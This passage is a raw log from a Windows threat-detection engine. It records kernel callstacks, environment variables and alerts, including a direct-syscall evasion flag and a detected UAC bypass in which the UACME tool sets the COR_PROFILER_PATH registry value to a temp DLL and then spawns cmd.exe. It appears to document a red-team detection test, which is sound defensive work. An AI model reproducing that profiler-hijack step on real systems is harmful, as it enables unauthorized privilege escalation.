Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804d7542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804d7474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804d7548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804d7a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff804d7a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804d7a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804d7a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff804d7a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804d78b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffb3d631014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffb3d443640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffb3d443a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffb7cc853db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb7cc84e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb7cc884cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffb7cc8701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb7ccf4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffb7cc963a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb7cc96020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb7ccbfa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffb7a2bd29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffb7c727a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffb7c72759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffb7c8ab8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffb7c8acc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffb7c8acd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffb7c8a8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffb7c844304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffb7c71b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffb7c71b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffb7c71a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffb7c71a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffb7c7eff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7ffb7c88717e C:\Windows\System32\combase.dll!Ordinal130|0x7ffb7c7477fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffb7c7462ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffb7c798013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7ffb7c75eef0 C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffb7c6f74bd C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffb7c6f6e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffb568f93f7 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb568f86a6 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb56938cb7 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb56936f90 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb5693e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb5693dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb5693dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb569406d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb7b46ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffb7b46a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffb7b469c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffb7ae0e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb7cd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-01T17:26:36+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 68936 + Pid: 10020 + Tid: 3620 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-01 17:26:35.3679978 +0100 CET + Params: base_address➜ 7ffb68580000, checksum➜ 289238, default_address➜ 7ffb68580000, file_path➜ C:\Windows\System32\aadWamExtension.dll, image_size➜ 229376, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 10020, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 10020 + Ppid: 10104 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10104.9896.2717147539704005562 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10104.9896.2717147539704005562 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:10020 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_10020_PBDJIQOUZTIBZEKO EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:339 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804d7542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804d7474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804d7548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804d7a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff804d7a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804d7a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804d7a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff804d7a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804d78b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffb3d631014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffb3d443640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffb3d443a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffb7cc853db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb7cc84e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb7cc884cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffb7cc8701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb7ccf4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffb7cc963a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb7cc96020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb7ccbfa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffb7a2bd29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffb7c727a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffb7c72759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffb7c7444fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffb7c8ad25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffb7c6f923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffb7c6f8af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffb7c6f966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffb7c6fa6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffb569356d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb568f408f C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb568fe3b9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb568fdb3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb56976922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffb56929dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb569289d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb5693f09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb7b46b686 C:\Windows\System32\SHCore.dll!SHTaskPoolQueueTask|0x7ffb5696554e C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffb56936a00 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb5693857b C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb56938d67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb56936f90 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb5693e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb5693dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb5693dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb569406d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb7b46ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffb7b46a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffb7b469c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffb7ae0e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb7cd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-01T17:30:16+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 71060 + Pid: 14372 + Tid: 9620 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:30:15.0888072 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 14372 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 71511 + Pid: 5784 + Tid: 2420 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:30:15.8148927 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 12abaa000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080019fa080, name➜ cmd.exe, pid➜ 6816, ppid➜ 5784, real_ppid➜ 5784, session_id➜ 1, sid➜ 